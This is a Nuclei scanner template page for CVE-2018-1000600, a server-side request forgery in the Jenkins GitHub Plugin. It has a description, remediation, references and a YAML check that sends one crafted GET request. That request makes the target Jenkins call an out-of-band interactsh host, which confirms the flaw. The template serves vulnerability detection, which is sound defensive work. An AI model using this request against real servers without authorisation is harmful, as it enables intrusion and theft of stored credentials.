Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery

ID: CVE-2018-1000600

Severity: high

Author: geeknik

Tags: cve,cve2018,jenkins,ssrf,oast,github

Description

Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.

YAML Source

id: CVE-2018-1000600

info:
  name: Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery
  author: geeknik
  severity: high
  description: |
    Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the network.
  remediation: |
    Upgrade Jenkins GitHub Plugin to version 1.29.2 or later to mitigate the vulnerability.
  reference:
    - https://www.jenkins.io/security/advisory/2018-06-25/#SECURITY-915
    - https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/
    - https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1000600
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2018-1000600
    cwe-id: CWE-200
    epss-score: 0.93232
    epss-percentile: 0.99014
    cpe: cpe:2.3:a:jenkins:github:*:*:*:*:*:jenkins:*:*
  metadata:
    max-request: 1
    vendor: jenkins
    product: github
    framework: jenkins
  tags: cve,cve2018,jenkins,ssrf,oast,github

http:
  - method: GET
    path:
      - "{{BaseURL}}/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022042fbc934ae15d0e7ba4c60ee2d660b84523332ea075fbda41754f2a1348f0985022100ef76533702674cba75c3c3cc2355756608b0509050995b55cde73925b2ade59b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-1000600.yaml"

View on Github